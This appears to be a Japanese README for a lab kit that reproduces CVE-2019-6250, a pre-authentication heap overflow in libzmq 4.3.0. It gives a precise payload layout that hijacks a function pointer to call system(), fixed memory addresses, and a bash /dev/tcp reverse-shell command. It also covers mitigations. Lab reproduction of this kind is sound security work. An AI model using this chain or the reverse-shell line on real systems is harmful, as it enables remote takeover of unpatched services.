
CVE-2019-6250(libzmq <= 4.3.0、ZMTP/2.0 ワイヤープロトコル)のエンドツーエンド事前認証RCEラボ
エンドツーエンドで動作するRCEチェーンと再現可能なラボ for CVE-2019-6250、これはlibzmqの v2_decoder_t::size_ready における事前認証ヒープバッファオーバーフローです。 uint64_t のポインタ演算オーバーフローにより、認証されていないピアがZMTP/2.0ワイヤパス上の隣接する msg_t::content_t::ffn 関数ポインタを上書きし、TCPソケットクローズ → ~v2_decoder_t() → _in_progress.close() → を介してトリガーできます。
system(cmd)作成者: Nicolas Krassas (@dinosn).
ラボ使用のみ。 このキットには意図的に脆弱なlibzmq 4.3.0が同梱されています。ポート5555をラボ外に公開しないでください。このバグは7年前にlibzmq 4.3.1で修正されました(コミット
1a2ed127)。
system() チェーン — ファイルによる証明


docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
-p 5555:5555 cve-2019-6250-lab
# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250 # <-- created by the libzmq server process
sudo ./setup.sh # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555 # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250
# terminal 1 — listener
nc -lvnp 4444
# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'
以下のような出力が表示されるはずです:
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#
cannot set terminal process group (1355844) の行は、シェルがローカルで実行したものではなく、libzmqターゲットプロセス(PID 1355844)によって生成されたことを確認します。
.
├── README.md # ここにいる
├── server.c # 小さなPULLリスナー — 脆弱なターゲット
├── exploit.py # 完全なRCEチェーン
├── setup.sh # ベアメタルプロビジョナー(libzmq 4.3.0をクローン&ビルド)
├── start_server.sh # ターゲットの起動/再起動
├── read_addresses.sh # 異なるイメージ用のアドレスプロファイルを再生成
├── run_lab_test.sh # 自動化されたエンドツーエンドスモークテスト(CI対応)
├── Dockerfile # ワンコマンドでコンテナ化されたラボ
└── screenshots/ # READMEスクリーンショット(charmbracelet/freezeで生成)
src/v2_decoder.cpp:117 (libzmq 4.3.0):
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_ // <-- wraps
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_)); // safe path
} else {
rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// zero-copy aliasing path — _in_progress.data() == read_pos_
}
msg_size_ はZMTP/2.0のLARGEフレームヘッダから攻撃者が制御するビッグエンディアンの uint64_t です。 msg_size_ = 0xFFFFFFFFFFFFFFFF の場合、合計 read_pos_ + msg_size_ は2⁶⁴でラップし、右辺 より小さく なります。境界チェックは偽と評価され → 実行がゼロコピーパスにフォールスルー → _in_progress メッセージがrecvバッファをエイリアスします。デコーダはその後、カーネルに read_pos_ から 0xFFFFFFFFFFFFFFFF バイト多くを要求し、recv() はペイロードをrecvバッファの終端を越えて隣接する content_t[] 配列(decoder_allocators.cpp:88 で同じ malloc() チャンクに割り当てられる)に書き込みます。
[ atomic_counter_t (refcnt) ] 8 bytes
[ recv buffer ] 8192 bytes ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
↑ content_t[0] starts at read_pos_+8183
以下のように構造化された8224バイトのペイロードを送信します:
| ペイロードオフセット | バイト数 | 上書きされる内容 |
|---|---|---|
[0:16] | padding | (recvバッファ内) |
[16:K] | コマンド文字列 + NUL | (recvバッファ内 — system の引数) |
[K:8183] | padding | (recvバッファ内) |
[8183:8191] | read_pos+16 | content_t[0].data (→ コマンド) |
[8191:8199] | 0 | content_t[0].size |
[8199:8207] | &system | content_t[0].ffn (制御フローターゲット) |
[8207:8215] | 0 | content_t[0].hint |
[8215:8223] | 0 | content_t[0].refcnt |
TCPソケットを閉じると、サーバの ~v2_decoder_t() が _in_progress.close() を呼び出します。 msg_t::close 内:
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
content->ffn(content->data, content->hint); // -> system(cmd)
}
init_external_storage が _u.zclmsg.flags = 0 に設定するため、ORショートカットは即座にその分岐を取ります — refcnt はチェックさえされません。上書きされた ffn が実行されます。
ROP、シェルコード、情報漏洩は不要: 1つのlibcシンボル解決と1つのインラインコマンド文字列のみです。
v2_decoder_t に到達するstream_engine.cpp:707 を見てみましょう:
bool zmq::stream_engine_t::handshake_v2_0 ()
{
if (_session->zap_enabled ()) { error (...); return false; }
_encoder = new v2_encoder_t (...);
_decoder = new v2_decoder_t (...); // <-- NO mechanism object
return true;
}
ZMTP/2.0パスは、メカニズムなしで v2_decoder_t をインスタンス化します。ZAPのみが2.0接続を拒否し、ZAPはデフォルトでオフです。ピアが12バイトのZMTP/2.0グリーティング(0xff + 8個のnull + 0x7f + リビジョン 0x01 + ソケットタイプ)を送信すると、後続のすべてのバイトが v2_decoder_t によって解析されます。認証なし。ハンドシェイクなし。メカニズムステートマシンなし。
オプション: -fsanitize=address でビルドし、ヒープバッファオーバーフローのレポートを確認してください:

0 bytes after 18160-byte region により、計算したチャンクサイズ(8 (atomic_counter) + 8192 (recv buffer) + 249 × 40 (content_t array) = 18160)が確認されます。 handshake_v2_0:719 での割り当てサイトは、バグが事前認証ZMTP/2.0パスで発生することを確認します。
kernel.randomize_va_space=0 の場合、libcベース、libzmqベース、ヒープ、I/Oスレッドのmallocアリーナはすべて決定論的なアドレスになります。 exploit.py のデフォルトプロファイル(DEFAULT_PROFILE)は、バンドルされたラボビルド(Debian 12 / Kali 2024.1 / glibc 2.38、libzmq 4.3.0 リリースモード -O2)用にキャプチャされています:
| フィールド | 値 | ソース |
|---|---|---|
libc_base | 0x7ffff7c00000 | /proc/<pid>/maps |
system_off | 0x53910 | nm -D /lib/x86_64-linux-gnu/libc.so.6 |
read_pos | 0x7ffff000bbc1 | _buf + sizeof(atomic_counter_t) + 9 |
dist_to_content | 8183 | レイアウトから派生 |
cmd_offset | 16 | ペイロード内でコマンドを配置する場所 |
異なるglibc/libzmqビルドに移植する場合は、start_server.sh の後に ./read_addresses.sh > profile.json を実行し、その後エクスプロイトに --profile profile.json を渡してください。
実際の攻撃では、情報漏洩プリミティブまたは引数制御を必要としないワンガジェットコールのいずれかが必要になります。どちらもこのラボの範囲外です — ここでの目標は、バグからシェルへのパイプラインをクリーンに実証することであり、ASLRを打ち負かすことではありません。
| 防御策 | 効果 |
|---|---|
| libzmq ≥ 4.3.1 にアップグレード | 修正済み。 コミット 1a2ed127 により境界チェックが msg_size_ > size_t(allocator.data()+size()-read_pos_) と書き換えられ、オーバーフローは不可能になりました。 |
zmq_setsockopt(s, ZMQ_MAXMSGSIZE, &n, sizeof(n)) を任意の正の n で | 軽減。 壊れた境界チェックがラップする前に短絡します。 |
| ZAP認証を有効にする | ZMTP/2.0接続をブロック(stream_engine.cpp:709で拒否)。バグを修正するわけではなく、認証されていないパスを防ぐだけです。 |
| ASLR | 武器化を遅らせますが、防止はしません — チェーン自体は影響を受けません。 |
| スタックカナリア / NX / RELRO | これらはいずれもヒープ関数ポインタハイジャックを保護しません。 |
sudo pkill -9 server-rce
sudo rm -f /tmp/PWNED-CVE-2019-6250
sudo sysctl -w kernel.randomize_va_space=2 # restore default ASLR
Nicolas Krassas — @dinosn
MIT © Nicolas Krassas。意図的に脆弱なlibzmq 4.3.0のソースはビルド時にアップストリームのLGPLv3-with-exceptions / MPLv2リポジトリから取得されます — そのライセンスはそのコードに個別に適用されます。
防御的なセキュリティ研究、教育、および許可されたセキュリティテスト専用です。同梱の脆弱なビルドを隔離されたラボ環境外に展開しないでください。